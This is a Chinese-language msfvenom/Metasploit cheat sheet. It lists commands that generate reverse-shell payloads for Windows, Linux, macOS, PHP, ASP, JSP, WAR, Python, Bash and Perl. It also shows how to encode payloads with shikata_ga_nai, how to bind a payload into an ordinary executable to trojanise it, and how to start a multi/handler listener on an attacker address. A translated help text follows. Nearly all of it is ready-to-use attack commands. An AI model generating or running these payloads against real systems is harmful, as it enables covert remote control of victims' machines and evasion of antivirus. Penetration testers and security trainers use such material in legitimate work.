普通生成 ``` msfvenom -p -f -o msfvenom –p windows/meterpreter/reverse_tcp –f exe –o C:\back.exe ``` 编码生成 ``` msfvenom -p -e -i -n -f -o msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe ``` Linux ``` msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf ``` Windows ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe ``` 捆绑生成 ``` msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k –f exe –o C:\shell.exe ``` Mac ``` msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.machoWeb Payloads ``` PHP ``` msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php ``` ASP ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp ``` JSP ``` msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp ``` WAR ``` msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war Scripting Payloads ``` Python ``` msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py ``` Bash ``` msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh ``` Perl ``` msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl ``` 连接方式 ```shell msf > use exploit/multi/handler #加载模块 msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp #设置payload payload => windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 上面的ip #设置kali的ip lhost => 123.123.123.123 msf exploit(multi/handler) > set lport 上面的端口 #设置kali的端口 lport => 2222 msf exploit(multi/handler) > exploit #执行 [*] Started reverse TCP handler on 123.123.123.123:2222 ``` 帮助文档翻译 ``` -l, --list 列出指定类型的所有模块 类型包括: payloads, encoders, nops, platforms, archs, formats, all -p, --payload 指定需要使用的payload(有效载荷)(--list payloads得到payload列表,--list-options得到指定payload的参数) 如果需要使用自定义的payload,请使用'-'或者stdin指定 --list-options 列出指定payload的标准,高级和规避选项 例如:msfvenom -p generic/shell_bind_tcp --list-options 将列出shell_bind_tcp这个payload的各种选项信息 -f, --format 指定输出格式(使用 --list formats 列出所有的格式) -e, --encoding 要使用的编码(使用 --list encoders 列出所有的编码) 用于编码加密 --smallest 使用所有可用的编码器生成尽可能小的有效负载 -a, --arch 指定payload的目标CPU架构(使用 --list archs 列出所有的CPU架构) --platform 指定payload的目标操作系统平台(使用 --list platforms 列出所有的操作系统平台) -o, --out 将payload保存到文件中 -b, --bad-chars 指定不使用的字符集 例如:不使用'\x00\xff'这两个字符 -n, --nopsled 在payload上添加指定长度的nop指令 -s, --space 设定payload的最大长度 即生成的文件大小 --encoder-space 设定编码payload的最大长度(默认为-s的值) -i, --iterations 对payload进行编码的次数 -c, --add-code 指定一个自己的win32 shellcode文件 -x, --template 指定一个可执行程序 将payload捆绑其中 例如:原先有个正常文件normal.exe 通过此选项把payload捆绑到这个程序上面 -k, --keep 针对-x中的捆绑程序 将创建新线程执行payload 一般情况-x -k选项一起使用 -v, --var-name 指定用于某些输出格式的自定义变量名称 -t, --timeout 从STDIN读取有效负载时等待的秒数(默认为30, 0为禁用) -h, --help 查看帮助 ```